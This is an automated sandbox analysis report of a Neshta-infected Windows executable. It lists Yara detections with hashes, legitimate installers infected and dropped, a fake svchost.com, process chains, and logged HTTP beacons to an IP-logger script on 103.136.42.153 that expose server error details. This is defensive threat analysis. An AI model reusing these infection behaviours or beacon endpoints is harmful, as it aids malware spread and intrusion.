Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=wYWdigdSjn HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=wYWdigdSjn HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=WYWDIG~1 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153

Source: unknown	HTTPS traffic detected: 157.240.20.35:443 -> 192.168.2.3:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.20.35:443 -> 192.168.2.3:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.20.35:443 -> 192.168.2.3:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.13.92.36:443 -> 192.168.2.3:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.13.92.36:443 -> 192.168.2.3:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.13.92.36:443 -> 192.168.2.3:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.13.92.36:443 -> 192.168.2.3:49717 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: wYWdigdSjn.exe, type: SAMPLE	Matched rule: Detects Neshta Author: ditekSHen
Source: 0.0.wYWdigdSjn.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Windows\svchost.com, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\Users\user\Downloads\ChromeSetup.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED	Matched rule: Detects Neshta Author: ditekSHen

PE file has a writeable .text section

Source: wYWdigdSjn.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: wYWdigdSjn.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: wYWdigdSjn.exe, type: SAMPLE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: wYWdigdSjn.exe, type: SAMPLE	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: 0.0.wYWdigdSjn.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: 0.0.wYWdigdSjn.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Windows\svchost.com, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\Windows\svchost.com, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\Users\user\Downloads\ChromeSetup.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\Users\user\Downloads\ChromeSetup.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED	Matched rule: MAL_Neshta_Generic date = 2018-01-15, hash3 = 1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb, hash2 = b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb, hash1 = 0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e, author = Florian Roth, description = Detects Neshta malware, reference = Internal Research, modified = 2021-04-14
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED	Matched rule: MALWARE_Win_Neshta author = ditekSHen, description = Detects Neshta

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

File created: C:\Windows\svchost.com

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00CCE02E	1_2_00CCE02E
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00B0CD24	1_2_00B0CD24
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00C91FB7	1_2_00C91FB7
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00B4F247	1_2_00B4F247
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00C8C3A6	1_2_00C8C3A6
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00C827AD	1_2_00C827AD
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: 1_2_00C82700	1_2_00C82700
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Code function: 12_3_022F3B04	12_3_022F3B04

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: String function: 00C81503 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: String function: 00C892B0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: String function: 00B6CF48 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: String function: 00C814D0 appears 123 times
Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	Code function: String function: 00C80D99 appears 54 times

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00B0D519 NtQueryInformationFile,

1_2_00B0D519

Source: wYWdigdSjn.exe, 00000000.00000002.507052453.0000000000190000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilename vs wYWdigdSjn.exe

Source: Joe Sandbox View

Dropped File: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe C2D2D8A74C726957A9DD578DCC0ED1C8B86B400822477B50FB2518923065E229

Source: wYWdigdSjn.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: wYWdigdSjn.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: wYWdigdSjn.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: wYWdigdSjn.exe.0.dr	Static PE information: Section: .rdata ZLIB complexity 0.991296875
Source: wYWdigdSjn.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 0.9995031524122807

Source: wYWdigdSjn.exe	ReversingLabs: Detection: 100%
Source: wYWdigdSjn.exe	Metadefender: Detection: 100%

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

File read: C:\Users\user\Desktop\wYWdigdSjn.exe

Jump to behavior

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\wYWdigdSjn.exe C:\Users\user\Desktop\wYWdigdSjn.exe
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe "C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe"
Source: unknown	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\Desktop\WYWDIG~1.EXE"
Source: C:\Windows\svchost.com	Process created: C:\Users\user\Desktop\wYWdigdSjn.exe C:\Users\user\Desktop\WYWDIG~1.EXE
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"
Source: C:\Windows\svchost.com	Process created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE
Source: unknown	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\Desktop\WYWDIG~1.EXE"
Source: C:\Windows\svchost.com	Process created: C:\Users\user\Desktop\wYWdigdSjn.exe C:\Users\user\Desktop\WYWDIG~1.EXE
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"
Source: C:\Windows\svchost.com	Process created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe "C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe"	Jump to behavior
Source: C:\Windows\svchost.com	Process created: C:\Users\user\Desktop\wYWdigdSjn.exe C:\Users\user\Desktop\WYWDIG~1.EXE	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"	Jump to behavior
Source: C:\Windows\svchost.com	Process created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE	Jump to behavior
Source: C:\Windows\svchost.com	Process created: C:\Users\user\Desktop\wYWdigdSjn.exe C:\Users\user\Desktop\WYWDIG~1.EXE	Jump to behavior
Source: C:\Users\user\Desktop\wYWdigdSjn.exe	Process created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE"	Jump to behavior
Source: C:\Windows\svchost.com	Process created: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe C:\Users\user\AppData\Local\Temp\3582-490\WYWDIG~1.EXE

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

File created: C:\Users\user\Documents\VlcpVideoV1.0.1

Jump to behavior

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

File created: C:\Users\user\AppData\Local\Temp\3582-490

Jump to behavior

Source: classification engine

Classification label: mal100.spre.spyw.evad.winEXE@17/21@7/3

Source: C:\Users\user\Desktop\wYWdigdSjn.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

